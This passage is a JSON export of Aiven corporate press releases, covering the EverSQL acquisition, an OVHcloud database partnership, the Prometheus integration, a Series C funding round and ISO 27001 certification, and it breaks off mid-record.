{"__i18n_lang":"en","_createdAt":"2023-11-21T13:29:38Z","_id":"0b20ba75-d1ee-400a-8817-098a3a3e3323","_rev":"Arp4NzaYseKQ5hw9daCR9E","_type":"pressRelease","_updatedAt":"2023-11-21T14:00:01Z","content":[{"_key":"ab9c7357b9a5","_type":"block","children":[{"_key":"9a27e0cdc6980","_type":"span","marks":[],"text":"HELSINKI, Finland — November 21, 2023 — Aiven, the open source cloud data platform company, today announced it has acquired EverSQL, a database optimization software vendor. With the acquisition, Aiven enhances its platform with AI-driven workload optimization capabilities. This will enable companies to focus on data-driven innovation on top of performant and cost-optimized pipelines and infrastructure."}],"markDefs":[],"style":"normal"},{"_key":"802ac36426d9","_type":"block","children":[{"_key":"7fa00cdb46be0","_type":"span","marks":[],"text":"Today businesses rely on data to power the applications and systems underpinning decision-making, customer experiences and operational efficiencies. But as the importance of data has grown and the supporting infrastructure has become more complex, so has the management burden ­– often at the cost of innovation. Aiven provides the essential toolkit organizations can use to deploy data-centric applications while solving the challenges of managing the data infrastructure."}],"markDefs":[],"style":"normal"},{"_key":"cc81ffdf077c","_type":"block","children":[{"_key":"5e13e5795c4c0","_type":"span","marks":[],"text":"EverSQL was established to transform and automate database performance analysis – through the use of AI – to speed up applications and free up time for innovation. The company’s popularity has grown quickly, with more than 100,000 software engineers in 90 countries using the solution to optimize their workloads on top of a variety of databases."}],"markDefs":[],"style":"normal"},{"_key":"452d1bfea0b1","_type":"block","children":[{"_key":"a7e1c156b5080","_type":"span","marks":[],"text":"By integrating EverSQL’s AI-powered optimization engine into Aiven’s open source platform, Aiven customers will receive automated, personalized and actionable insights to help fine-tune their data architecture. This will result in optimized data workflows, improved performance and lowered costs."}],"markDefs":[],"style":"normal"},{"_key":"6039429cac47","_type":"block","children":[{"_key":"35906cdea7940","_type":"span","marks":[],"text":"In the coming months, customers using Aiven for PostgreSQL® and Aiven for MySQL® will benefit from automated query optimizations and index recommendations. Subsequently, capabilities will expand to include monitoring and alerting, supported by automatically generated optimization insights that are quick and easy to understand and implement. The EverSQL engine will also be extended across other open source services in the Aiven platform and more advanced service settings and configuration tuning capabilities will be developed. Aiven is fully committed to support and grow the current set of available EverSQL functionalities on top of any database supported in Aiven or elsewhere."}],"markDefs":[],"style":"normal"},{"_key":"b64fd566f7a8","_type":"block","children":[{"_key":"6e3540c309350","_type":"span","marks":[],"text":"Oskari Saarenmaa, CEO of Aiven, said: “EverSQL brings us industry-leading, AI-powered database optimization capabilities which, when combined with Aiven’s open source cloud data platform, is a unique offering for companies that want to capture more value from their data. Our services are complementary and aligned to a shared goal – to simplify the management of data infrastructures to unleash innovation. I’d like to welcome the talented EverSQL team to Aiven and I am looking forward to collectively delivering even more support, value and capabilities to our combined customer base.”"}],"markDefs":[],"style":"normal"},{"_key":"1e158850f325","_type":"block","children":[{"_key":"aaccaee652490","_type":"span","marks":[],"text":"Oded Valin, EverSQL Co-Founder and CEO, said: “EverSQL has quickly established itself as a leader in the use of AI to automate the process of database performance optimization. As a part of Aiven, EverSQL will be able to deliver autonomous optimization capabilities to even more companies globally and rapidly expand the offering through integration across Aiven’s leading data platform. My fellow EverSQL Co-Founder and CTO Tomer Shay and I are both excited to set up and grow the team dedicated to developing AI-powered optimization capabilities at Aiven.”"}],"markDefs":[],"style":"normal"},{"_key":"99ab1e707ab7","_type":"block","children":[{"_key":"cb242bba80ec0","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"b1c7ab4e1dbf","_type":"block","children":[{"_key":"17c3c03b12a90","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"be570b241386","_type":"block","children":[{"_key":"be94d5176b42","_type":"span","marks":[],"text":"Headquartered in Helsinki and with hubs in Amsterdam, Berlin, Boston, Paris, Singapore, Sydney, Tokyo, and Toronto. Aiven provides managed open source data technologies, such as PostgreSQL®, Apache Kafka® and OpenSearch®, on all major clouds. Through Aiven, developers can focus on what they do best: drive innovation that delivers value for their customers. Meanwhile, Aiven does what they do best: manage cloud data infrastructure that’s price-performant. Aiven enables customers to drive business results from open source data technologies that trigger true transformations on a global scale. Most recently, Aiven achieved a $3B valuation and has now raised $420M total funding backed by its investors Atomico, Earlybird, Eurazeo, IVP, Lifeline, Salesforce Ventures, and World Innovation Lab."}],"markDefs":[],"style":"normal"},{"_key":"fd866bc8c647","_type":"block","children":[{"_key":"8140fcb3cc3b0","_type":"span","marks":[],"text":"To learn more about Aiven, visit aiven.io and follow @aiven_io on Twitter."}],"markDefs":[],"style":"normal"},{"_key":"9f6948425f7a","_type":"block","children":[{"_key":"71e61a3009a10","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"6f283fbc4686","_type":"block","children":[{"_key":"84b323e678ea0","_type":"span","marks":["strong"],"text":"About EverSQL"}],"markDefs":[],"style":"normal"},{"_key":"5f23536adf4e","_type":"block","children":[{"_key":"26fc9ee6b09b0","_type":"span","marks":[],"text":"EverSQL offers an AI-powered database optimization platform, allowing customers to accelerate their data workflows, while also reducing costs. Already trusted by more than 100,000 software engineers, the solution reduces development time and saves the cost of database experts by using automatic optimization algorithms for database query tuning, index recommendations and more. EverSQL supports a variety of databases, including PostgreSQL®, MySQL® and more."}],"markDefs":[],"style":"normal"},{"_key":"f6f8a97a7db4","_type":"block","children":[{"_key":"6f86095ade5f0","_type":"span","marks":[],"text":"To learn more about EverSQL visit EverSQL.com and follow @EverSQL on Twitter."}],"markDefs":[],"style":"normal"},{"_key":"a17b924bc275","_type":"block","children":[{"_key":"0b64329ed2b1","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"a34527461b33","_type":"block","children":[{"_key":"41c45b5afb870","_type":"span","marks":["strong"],"text":"Media Contacts"}],"markDefs":[],"style":"normal"},{"_key":"4cb54c700964","_type":"block","children":[{"_key":"e7a71e03241d0","_type":"span","marks":[],"text":"press@aiven.io"}],"markDefs":[],"style":"normal"}],"publishedAt":"2023-11-21T14:00:35.564Z","seo":{"_type":"metaData","metaDescription":"EverSQL’s AI-powered capabilities help optimize data workflows and improve cloud data infrastructure performance while lowering costs","metaImage":{"_type":"mainImage","asset":{"_ref":"image-314defd03b940a7b1f0114646dfa59a80cee86c2-1200x628-png","_type":"reference"}},"metaTitle":"Aiven acquires EverSQL"},"slug":{"_type":"slug","current":"/press/aiven-acquires-eversql"},"subtitle":"EverSQL’s AI-powered capabilities help optimize data workflows and improve cloud data infrastructure performance while lowering costs","title":"Aiven Enables Customers to Focus on Data-Driven Innovation with Acquisition of EverSQL"} {"__i18n_lang":"en","_createdAt":"2022-06-17T22:42:59Z","_id":"5MrowoAvWvhgn6Lj51rDjf","_rev":"5iTZEBNHx5PwgJLwP8hCY9","_type":"pressRelease","_updatedAt":"2022-12-02T12:44:37Z","body":"OVHcloud is accelerating the development of its Database-as-a-Service (DBaaS) offer by partnering with Aiven, a European software company that combines the best open-source technologies with cloud infrastructure. This new offer will provide professionals with fully managed database solutions based on a trusted cloud.\n\nAccording to Gartner, by 2022, 75% of databases will be deployed or migrated to a cloud platform [1].\n\nThis partnership will enable OVHcloud to offer an extensive catalog of DBaaS solutions such as MySQL, PostgreSQL, Redis, Apache Kafka, OpenSearch, M3, and Apache Cassandra. This wide range of database management systems will suit a variety of uses, from legacy applications to AI applications, web applications, and e-commerce websites.\n\nDatabase-as-a-Service solutions based on OVHcloud trusted infrastructure will give organizations security, confidentiality, and reversibility guarantees for their data. Companies will retain exclusive control over their data and focus on the added value of their applications, as they will no longer have to worry about the configuration, installation, and maintenance of the database software, the backups, and hardware infrastructure needed to run the service securely. Moreover, companies will get the best price/performance ratio, predictable costs, as well as the power of the open source to accelerate their innovation.\n\n“This partnership with Aiven allows us to accelerate the delivery of a full catalog of Database-as-a-Service. Offering OVHcloud customers a wide range of choices to develop and run their applications in the cloud while retaining full control over their data,” commented Sylvain Rouri, Chief Sales Officer at OVHcloud. “We share with Aiven, a European company, the values of transparency and reversibility enabled by open-source technologies, offering companies the ability to accelerate their innovation while protecting themselves from technological lock-in.”\n\n“We are proud to partner with Europe’s leading cloud services provider to enable more organizations to leverage best-of-breed data technologies. Our joint services enable customers to focus on their core business while we manage their infrastructure in an open and trusted cloud environment,” said Oskari Saarenmaa, CEO at Aiven.\n\n[1] Source: Gartner, [The Future of the DBMS Market Is Cloud](https://www.gartner.com/en/newsroom/press-releases/2019-07-01-gartner-says-the-future-of-the-database-market-is-the \"Gartner Says the Future of the Database Market Is the Cloud\").\n\n__About OVHcloud__\n\nOVHcloud is a global player and the leading European cloud provider operating 400,000 servers within over 30 data centres across 4 continents. For 20 years, the Group has been leveraging an integrated model that provides full control of our value chain, from designing our servers to managing our data centres through to orchestrating our fibre-optic network. This unique approach enables OVHcloud to cover, independently, the full spectrum of use cases for our 1.6 million customers across 140 countries. OVHcloud now offers customers latest-generation solutions that combine high performance, predictable pricing and full data sovereignty to support their unfettered growth.\n\n__About Aiven__\n\nHeadquartered in Helsinki with hubs in Berlin, Boston, Toronto and Sydney, Aiven provides managed open source data technologies, like PostgreSQL, Kafka, and M3, on all major clouds. Through Aiven, developers can do what they do best: create applications. Meanwhile, Aiven does what they do best; manage cloud data infrastructure. Aiven enables customers to drive business results from open source that trigger true transformations far beyond their own backyard. To learn more about Aiven, visit [aiven.io](https://aiven.io/ \"Aiven\") and follow [@aiven_io](https://twitter.com/aiven_io \"Aiven on Twitter\") on Twitter.","content":[{"_key":"5u6PBOW7","_type":"block","children":[{"_key":"70902fab69e0","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — July 13, 2021- "},{"_key":"kIxdP6Sw","_type":"span","marks":[],"text":"OVHcloud is accelerating the development of its Database-as-a-Service (DBaaS) offer by partnering with Aiven, a European software company that combines the best open-source technologies with cloud infrastructure. This new offer will provide professionals with fully managed database solutions based on a trusted cloud."}],"markDefs":[],"style":"normal"},{"_key":"zc7kWCjB","_type":"block","children":[{"_key":"BSGLXnvD","_type":"span","marks":[],"text":"According to Gartner, by 2022, 75% of databases will be deployed or migrated to a cloud platform [1]."}],"markDefs":[],"style":"normal"},{"_key":"SbG9ckv5","_type":"block","children":[{"_key":"eKKd4xOM","_type":"span","marks":[],"text":"This partnership will enable OVHcloud to offer an extensive catalog of DBaaS solutions such as MySQL, PostgreSQL, Redis, Apache Kafka, OpenSearch, M3, and Apache Cassandra. This wide range of database management systems will suit a variety of uses, from legacy applications to AI applications, web applications, and e-commerce websites."}],"markDefs":[],"style":"normal"},{"_key":"6TIVxAjA","_type":"block","children":[{"_key":"MEgP9B2v","_type":"span","marks":[],"text":"Database-as-a-Service solutions based on OVHcloud trusted infrastructure will give organizations security, confidentiality, and reversibility guarantees for their data. Companies will retain exclusive control over their data and focus on the added value of their applications, as they will no longer have to worry about the configuration, installation, and maintenance of the database software, the backups, and hardware infrastructure needed to run the service securely. Moreover, companies will get the best price/performance ratio, predictable costs, as well as the power of the open source to accelerate their innovation."}],"markDefs":[],"style":"normal"},{"_key":"xPzmCqBY","_type":"block","children":[{"_key":"BEmJC1Er","_type":"span","marks":[],"text":"“This partnership with Aiven allows us to accelerate the delivery of a full catalog of Database-as-a-Service. Offering OVHcloud customers a wide range of choices to develop and run their applications in the cloud while retaining full control over their data,” commented Sylvain Rouri, Chief Sales Officer at OVHcloud. “We share with Aiven, a European company, the values of transparency and reversibility enabled by open-source technologies, offering companies the ability to accelerate their innovation while protecting themselves from technological lock-in.”"}],"markDefs":[],"style":"normal"},{"_key":"31JhHfNT","_type":"block","children":[{"_key":"ae0eChuu","_type":"span","marks":[],"text":"“We are proud to partner with Europe’s leading cloud services provider to enable more organizations to leverage best-of-breed data technologies. Our joint services enable customers to focus on their core business while we manage their infrastructure in an open and trusted cloud environment,” said Oskari Saarenmaa, CEO at Aiven."}],"markDefs":[],"style":"normal"},{"_key":"r2suqesx","_type":"block","children":[{"_key":"5Sh5nEnS","_type":"span","marks":[],"text":"[1] Source: Gartner, "},{"_key":"XmqF3oeB","_type":"span","marks":["m4237046521341"],"text":"The Future of the DBMS Market Is Cloud"},{"_key":"gDDE6nYv","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m4237046521341","_type":"link","href":"https://www.gartner.com/en/newsroom/press-releases/2019-07-01-gartner-says-the-future-of-the-database-market-is-the"}],"style":"normal"},{"_key":"UF8b0xN5","_type":"block","children":[{"_key":"uBzpCeZb","_type":"span","marks":["strong"],"text":"About OVHcloud"}],"markDefs":[],"style":"normal"},{"_key":"FWXVVzXU","_type":"block","children":[{"_key":"YMLezHt6","_type":"span","marks":[],"text":"OVHcloud is a global player and the leading European cloud provider operating 400,000 servers within over 30 data centres across 4 continents. For 20 years, the Group has been leveraging an integrated model that provides full control of our value chain, from designing our servers to managing our data centres through to orchestrating our fibre-optic network. This unique approach enables OVHcloud to cover, independently, the full spectrum of use cases for our 1.6 million customers across 140 countries. OVHcloud now offers customers latest-generation solutions that combine high performance, predictable pricing and full data sovereignty to support their unfettered growth."}],"markDefs":[],"style":"normal"},{"_key":"fBuSKPSa","_type":"block","children":[{"_key":"v6LR5tve","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"ElwkFTkN","_type":"block","children":[{"_key":"P6ZL698L","_type":"span","marks":[],"text":"Headquartered in Helsinki with hubs in Berlin, Boston, Toronto and Sydney, Aiven provides managed open source data technologies, like PostgreSQL, Kafka, and M3, on all major clouds. Through Aiven, developers can do what they do best: create applications. Meanwhile, Aiven does what they do best; manage cloud data infrastructure. Aiven enables customers to drive business results from open source that trigger true transformations far beyond their own backyard. To learn more about Aiven, visit "},{"_key":"VxzjbKGa","_type":"span","marks":["m8361271684680"],"text":"aiven.io"},{"_key":"0MVTZzNS","_type":"span","marks":[],"text":" and follow "},{"_key":"eArkAKnA","_type":"span","marks":["m17467540486251"],"text":"@aiven_io"},{"_key":"NETufpkv","_type":"span","marks":[],"text":" on Twitter."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"},{"_key":"m17467540486251","_type":"link","href":"https://twitter.com/aiven_io"}],"style":"normal"}],"publishedAt":"2021-07-13T00:00:00.000Z","seo":{"metaDescription":"This wide range of solutions will enable organizations to accelerate their innovation, ensure their data protection (GDPR) while retaining their technological sovereignty.","metaTitle":"OVHcloud partners with Aiven to enhance DBaaS offer"},"slug":{"_type":"slug","current":"/press/ovhcloud-partners-with-aiven-to-enhance-its-database-as-a-service-offer"},"subtitle":"This wide range of solutions will enable organizations to accelerate their innovation, ensure their data protection (GDPR) while retaining their technological sovereignty.","title":"OVHcloud partners with Aiven to enhance DBaaS offer"} {"__i18n_lang":"en","_createdAt":"2022-06-17T22:42:59Z","_id":"5V0tZsNRrkoxoLdA0nDdKt","_rev":"AKgKLyYIzQkMcxjfvdx3Gj","_type":"pressRelease","_updatedAt":"2022-12-02T11:34:19Z","body":"__Helsinki, Finland__\n\nThe Aiven platform can now be integrated with Prometheus. Released in 2012, Prometheus is a popular open source monitoring and alerting system modeled after Google’s monitoring system, Borgmon.\n\nAlexander Rickardsson, Site Reliability Engineer for Aiven discusses how the Prometheus integration works with the Aiven platform, \"Prometheus utilizes a pull-based system, meaning it will scrape the endpoints you configure it to, rather than wait for systems to report metrics to it. Aiven will provide the endpoints containing metrics from your services, and you can point your Prometheus installation to them. Be it your main production monitoring installation, or just a local copy running on your laptop while doing development. The freedom and choice are yours.\"\n\nPrometheus allows users to create complex alerts based on a number of factors due to its query language and is integrable with a number of databases and graphing systems, such as Grafana.\n\nAside from its popularity, its active open source community and integrable nature are the primary reasons why Aiven chose to support Prometheus as an available integration for their platform.\n\nThe integration can be triggered from the Aiven dashboard with a few button clicks and is available for OpenSearch, Kafka, PostgreSQL, and Redis. Users can also send data from Prometheus to other Aiven services, such as TimescaleDB for long-term storage and Aiven Grafana for rich graphing.\n\nTo learn more about the Prometheus open source project, visit [https://prometheus.io](https://prometheus.io).\n\n__About Aiven__\n\nHeadquartered in Helsinki, Finland and with offices in Boston, MA, Aiven is an ISO 27001 certified Database-as-a-Service provider, operating managed open-source database, messenger, cache, search, and graphing solutions to over 300 customers worldwide.\n\nYou can visit [https://aiven.io](https://aiven.io) for more information or follow Aiven on Twitter: [@aiven_io](https://twitter.com/aiven_io).","content":[{"_key":"jZUcicOO","_type":"block","children":[{"_key":"1e010d035876","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — November 26, 2018-"},{"_key":"1dfIksad","_type":"span","marks":[],"text":"The Aiven platform can now be integrated with Prometheus. Released in 2012, Prometheus is a popular open source monitoring and alerting system modeled after Google’s monitoring system, Borgmon."}],"markDefs":[],"style":"normal"},{"_key":"P5RHxMzD","_type":"block","children":[{"_key":"EXIkunpi","_type":"span","marks":[],"text":"Alexander Rickardsson, Site Reliability Engineer for Aiven discusses how the Prometheus integration works with the Aiven platform, \"Prometheus utilizes a pull-based system, meaning it will scrape the endpoints you configure it to, rather than wait for systems to report metrics to it. Aiven will provide the endpoints containing metrics from your services, and you can point your Prometheus installation to them. Be it your main production monitoring installation, or just a local copy running on your laptop while doing development. The freedom and choice are yours.\""}],"markDefs":[],"style":"normal"},{"_key":"TMVdKWNy","_type":"block","children":[{"_key":"bhhvyPPM","_type":"span","marks":[],"text":"Prometheus allows users to create complex alerts based on a number of factors due to its query language and is integrable with a number of databases and graphing systems, such as Grafana."}],"markDefs":[],"style":"normal"},{"_key":"H4emgdhA","_type":"block","children":[{"_key":"lOlWEijY","_type":"span","marks":[],"text":"Aside from its popularity, its active open source community and integrable nature are the primary reasons why Aiven chose to support Prometheus as an available integration for their platform."}],"markDefs":[],"style":"normal"},{"_key":"LybWsKQ1","_type":"block","children":[{"_key":"fLfZyO1u","_type":"span","marks":[],"text":"The integration can be triggered from the Aiven dashboard with a few button clicks and is available for OpenSearch, Kafka, PostgreSQL, and Redis. Users can also send data from Prometheus to other Aiven services, such as TimescaleDB for long-term storage and Aiven Grafana for rich graphing."}],"markDefs":[],"style":"normal"},{"_key":"CZ5qRIl2","_type":"block","children":[{"_key":"QjfLLO1O","_type":"span","marks":[],"text":"To learn more about the Prometheus open source project, visit "},{"_key":"VrvajHyd","_type":"span","marks":["m17136149923624"],"text":"https://prometheus.io"},{"_key":"DHhY4BTk","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m17136149923624","_type":"link","href":"https://prometheus.io"}],"style":"normal"},{"_key":"gnGJImIk","_type":"block","children":[{"_key":"6ezrxUAZ","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"CpBSMPU8","_type":"block","children":[{"_key":"6QPucise","_type":"span","marks":[],"text":"Headquartered in Helsinki, Finland and with offices in Boston, MA, Aiven is an ISO 27001 certified Database-as-a-Service provider, operating managed open-source database, messenger, cache, search, and graphing solutions to over 300 customers worldwide."}],"markDefs":[],"style":"normal"},{"_key":"p0l8dPMS","_type":"block","children":[{"_key":"zyuGLVRG","_type":"span","marks":[],"text":"You can visit "},{"_key":"9DTqutGi","_type":"span","marks":["m3875742048231"],"text":"https://aiven.io"},{"_key":"gMwWJVeE","_type":"span","marks":[],"text":" for more information or follow Aiven on Twitter: "},{"_key":"uaJL9TSe","_type":"span","marks":["m17467540486251"],"text":"@aiven_io"},{"_key":"q5yWd9n4","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m3875742048231","_type":"link","href":"https://aiven.io"},{"_key":"m17467540486251","_type":"link","href":"https://twitter.com/aiven_io"}],"style":"normal"}],"publishedAt":"2018-11-26T00:00:00.000Z","seo":{"metaDescription":"Aiven Press Release: Our platform integrates with Prometheus, a popular open source monitoring and alerting system.","metaTitle":"The Aiven platform now integrates with Prometheus"},"slug":{"_type":"slug","current":"/press/the-aiven-platform-now-integrates-with-prometheus"},"subtitle":"Aiven Press Release: Our platform integrates with Prometheus, a popular open source monitoring and alerting system.","title":"The Aiven platform now integrates with Prometheus"} {"__i18n_lang":"en","_createdAt":"2022-06-17T22:42:59Z","_id":"64hz69Hf6I5BRdOQ6GslKU","_rev":"ElrRHx5al3kb1PwLXGsk5d","_type":"pressRelease","_updatedAt":"2022-12-02T12:32:06Z","content":[{"_key":"0f6caukc","_type":"block","children":[{"_key":"c5d7e651d2c8","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — September 28, 2021 - "},{"_key":"z2tCA3EJ","_type":"span","marks":["m8361271684680"],"text":"Aiven"},{"_key":"txAoCTiJ","_type":"span","marks":[],"text":", a software company that combines the best open source technologies with cloud infrastructure, today announced it raised $100M in its Series C, bringing the company’s total investment to $150M at a valuation of now more than $800M. The round was led by Atomico, with participation from Salesforce Ventures and World Innovation Lab as new investors. Lead investors of Aiven’s Series A (Earlybird Venture Capital) and Series B (IVP) also significantly increased their capital commitments to Aiven."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"}],"style":"normal"},{"_key":"mHtptOki","_type":"block","children":[{"_key":"rh6YZwdz","_type":"span","marks":[],"text":"Aiven will use the proceeds from the round to bring new products to market, increase "},{"_key":"cYAT2dUb","_type":"span","marks":["m3283373341836"],"text":"contributions to developing open source technologies"},{"_key":"yn2aLMwY","_type":"span","marks":[],"text":" and continue the company’s international expansion. Aiven’s products are universally applicable, and the new investment and new investors will help the company better address underserved markets. The company plans to double its headcount over the next year and launch a formal open source program office."}],"markDefs":[{"_key":"m3283373341836","_type":"link","href":"https://aiven.io/open-source"}],"style":"normal"},{"_key":"ld2lHtsU","_type":"block","children":[{"_key":"xHqPnk9M","_type":"span","marks":[],"text":"“Aiven’s mission is to champion open source, making the lives of developers better in all that we do,” said Oskari Saarenmaa, CEO and co-founder at Aiven. “The most recent funding will enable us to continue adding new service capabilities, grow our team and expand into new markets, as well as more significantly contribute to the open source community.”"}],"markDefs":[],"style":"normal"},{"_key":"V0KO0qFX","_type":"block","children":[{"_key":"hKMp3EgP","_type":"span","marks":[],"text":"For the first time ever in January 2021, "},{"_key":"MfyHhjPq","_type":"span","marks":["m5740090220315"],"text":"the use of open source database management services outstripped that of commercial services"},{"_key":"mDVjs9DX","_type":"span","marks":[],"text":". Open source powers every part of our global economy from home automation and retail analytics to energy metering and more. Many existing tools impose a heavy operational burden if managed in-house. Democratizing access to the best open source technologies, Aiven offers fully-managed services for popular open source projects like Apache Kafka and Cassandra, OpenSearch, M3 and PostgreSQL in the public cloud. With Aiven, companies of all sizes, from innovative startups to global leaders like Comcast, Fiverr, Vidio, Wolt and more, can have a modern, fully-functional open source data infrastructure from different regions in the world in minutes based on their needs with end-to-end security, set-up, maintenance and 24/7 monitoring across all major public cloud platforms."}],"markDefs":[{"_key":"m5740090220315","_type":"link","href":"https://db-engines.com/en/ranking_osvsc"}],"style":"normal"},{"_key":"ajslpY6P","_type":"block","children":[{"_key":"1DzGWdcR","_type":"span","marks":[],"text":"\"We believe Aiven will be the global category winner in providing beautiful open source data infrastructure that just works. Globally and in minutes,\" said Hiro Tamura, Partner at Atomico. “The open source tools that Aiven offers are now the dominant choice for the data needs of global companies, because they are simple, scalable and transparent. Aiven provides a vital service to solve the headaches that come with managing some of these incredible tools in-house and on the cloud, so developers and teams can focus on building apps, not infrastructure.”"}],"markDefs":[],"style":"normal"},{"_key":"RZqzNW4N","_type":"block","children":[{"_key":"XmJNQw3d","_type":"span","marks":[],"text":"To learn more about Aiven, visit "},{"_key":"DX4obim0","_type":"span","marks":["m8361271684680"],"text":"https://aiven.io/"},{"_key":"8l5X8cap","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"}],"style":"normal"},{"_key":"BWExqia9","_type":"block","children":[{"_key":"PXOY5MR0","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"TGLaWi5v","_type":"block","children":[{"_key":"sKpKTSF2","_type":"span","marks":[],"text":"Headquartered in Helsinki with offices in Berlin, Sydney, Toronto and Boston, Aiven provides managed open source data technologies, like PostgreSQL, Kafka, and M3, on all major clouds. Through Aiven, developers can do what they do best: create applications. Meanwhile, we do what we do best; manage cloud data infrastructure. We enable our customers to drive business results from open source that trigger true transformations far beyond their own backyards. Visit us at "},{"_key":"JllRKMoV","_type":"span","marks":["m8361271684680"],"text":"aiven.io"},{"_key":"CFHziN72","_type":"span","marks":[],"text":" and follow "},{"_key":"r86FREYh","_type":"span","marks":["m17467540486251"],"text":"@aiven_io"},{"_key":"2t4vHwUB","_type":"span","marks":[],"text":" on Twitter."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"},{"_key":"m17467540486251","_type":"link","href":"https://twitter.com/aiven_io"}],"style":"normal"},{"_key":"2PV9J0A0","_type":"block","children":[{"_key":"SFeR5Dun","_type":"span","marks":["strong"],"text":"About Atomico"}],"markDefs":[],"style":"normal"},{"_key":"bjofhn3S","_type":"block","children":[{"_key":"bReg32V7","_type":"span","marks":[],"text":"Atomico invests in ambitious tech founders at Series A and beyond with a particular focus on Europe, leveraging deep operational experience to supercharge their growth. Founded in 2006, Atomico has partnered with over 100 ambitious teams - including those at Klarna, Supercell, Graphcore, Compass, MessageBird, Masterclass, Attentive Mobile, Pipedrive and Hinge Health. Atomico's team of founders, investors and operational leaders have been responsible for global expansion, hiring and marketing at companies from Skype and Google to Twitter and Uber. The firm currently has $2.7B in assets under management."}],"markDefs":[],"style":"normal"},{"_key":"ovddsf9h","_type":"block","children":[{"_key":"5rFNhLHm","_type":"span","marks":["strong"],"text":"Media Contact"}],"markDefs":[],"style":"normal"},{"_key":"FW5mqK7H","_type":"block","children":[{"_key":"jrJwfj2K","_type":"span","marks":[],"text":"Megan Gasper Walker Sands megan.gasper@walkersands.com"}],"markDefs":[],"style":"normal"},{"_key":"1EzmqEZ8","_type":"block","children":[{"_key":"nsDzi0eX","_type":"span","marks":[],"text":"Anniina Sulku Head of Communications Aiven anniina.sulku@aiven.io"}],"markDefs":[],"style":"normal"}],"publishedAt":"2021-09-28T09:51:26.702Z","seo":{"_type":"metaData","metaDescription":"With its most recent funding round, Aiven plans to deepen its investment in open source software and further expand globally. ","metaImage":{"_type":"mainImage","asset":{"_ref":"image-d5aeed21a61ecdc16bc7f53357ecad5fac4feaba-1200x630-jpg","_type":"reference"}},"metaTitle":"Aiven raises $100M Series C to expand global open source"},"slug":{"_type":"slug","current":"/press/aiven-raises-usd100m-series-c-to-expand-global-open-source-innovation"},"subtitle":"With its most recent funding round, Aiven plans to deepen its investment in open source software and further expand globally. ","title":"Aiven raises $100M Series C to expand global open source innovation"} {"__i18n_lang":"en","_createdAt":"2022-06-17T22:42:59Z","_id":"7ArtGbOMhAwmM0HylrUhNr","_rev":"D5XaaTUHBf3Q5sJfaCajq3","_type":"pressRelease","_updatedAt":"2023-08-04T09:24:44Z","body":"__Helsinki, Finland__\n\nAfter a thorough certification and audit process, Aiven has earned its ISO/IEC 27001:2013 certificate, making it one of the very few Database as a Service (DBaaS) providers to attain certification.\n\nEstablished by the International Organization of Standardization, the internationally-recognized ISO27001 standard sets requirements for the implementation and operation of the holder’s Information Security Management System (ISMS).\n\nTo attain a certificate, an organization must undergo an audit performed by an independent and accredited 3rd party, lending confidence to our customers that Aiven’s information security is at the expected level. Aiven’s CTO, Heikki Nousiainen explains, \"Attested compliance with the widely accepted ISO27001 standard was a natural step for us. It is another confirmation that we're fully committed to ensuring the confidentiality, integrity and availability of our customer services and data.\"\n\nFor more information on what the standard is, how it informs Aiven’s ISMS, and why Aiven underwent the certification process, visit our latest blog post [here](https://aiven.io/blog/aiven-earns-iso-27001-certification/). If you’d like to view our certificate, you can access it at our [security and compliance page](https://aiven.io/security-compliance).\n\n__About Aiven__\n\nHeadquartered in Helsinki, Finland and with offices in Boston, MA, Aiven is an ISO 27001 certified Database-as-a-Service provider, operating managed open-source database, messenger, cache, search, and graphing solutions to over 300 customers worldwide.\n\nYou can visit [https://aiven.io](https://aiven.io) for more information or follow Aiven on Twitter: [@aiven_io](https://twitter.com/aiven_io).","content":[{"_key":"0aeddd0d8240","_type":"block","children":[{"_key":"3733fabf8174","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — June 4, 2018- "},{"_key":"GYVXfrnT","_type":"span","marks":[],"text":"After a thorough certification and audit process, Aiven has earned its ISO/IEC 27001:2013 certificate, making it one of the very few Database as a Service (DBaaS) providers to attain certification."}],"markDefs":[],"style":"normal"},{"_key":"wUd2TfVL","_type":"block","children":[{"_key":"4QUPzPoR","_type":"span","marks":[],"text":"Established by the International Organization of Standardization, the internationally-recognized ISO27001 standard sets requirements for the implementation and operation of the holder’s Information Security Management System (ISMS)."}],"markDefs":[],"style":"normal"},{"_key":"wdT9M5Bo","_type":"block","children":[{"_key":"wPgJLw8Z","_type":"span","marks":[],"text":"To attain a certificate, an organization must undergo an audit performed by an independent and accredited 3rd party, lending confidence to our customers that Aiven’s information security is at the expected level. Aiven’s CTO, Heikki Nousiainen explains, \"Attested compliance with the widely accepted ISO27001 standard was a natural step for us. It is another confirmation that we're fully committed to ensuring the confidentiality, integrity and availability of our customer services and data.\""}],"markDefs":[],"style":"normal"},{"_key":"XmPfeLRK","_type":"block","children":[{"_key":"VtCfHlo0","_type":"span","marks":[],"text":"For more information on what the standard is, how it informs Aiven’s ISMS, and why Aiven underwent the certification process, visit our latest blog post "},{"_key":"7a7ca4b77307","_type":"span","marks":["9962a333b582"],"text":"here"},{"_key":"a5469f56e7ad","_type":"span","marks":[],"text":". If you’d like to view our certificate, you can access it at our "},{"_key":"c799f2e5934c","_type":"span","marks":["5bdede7b09f0"],"text":"security and compliance 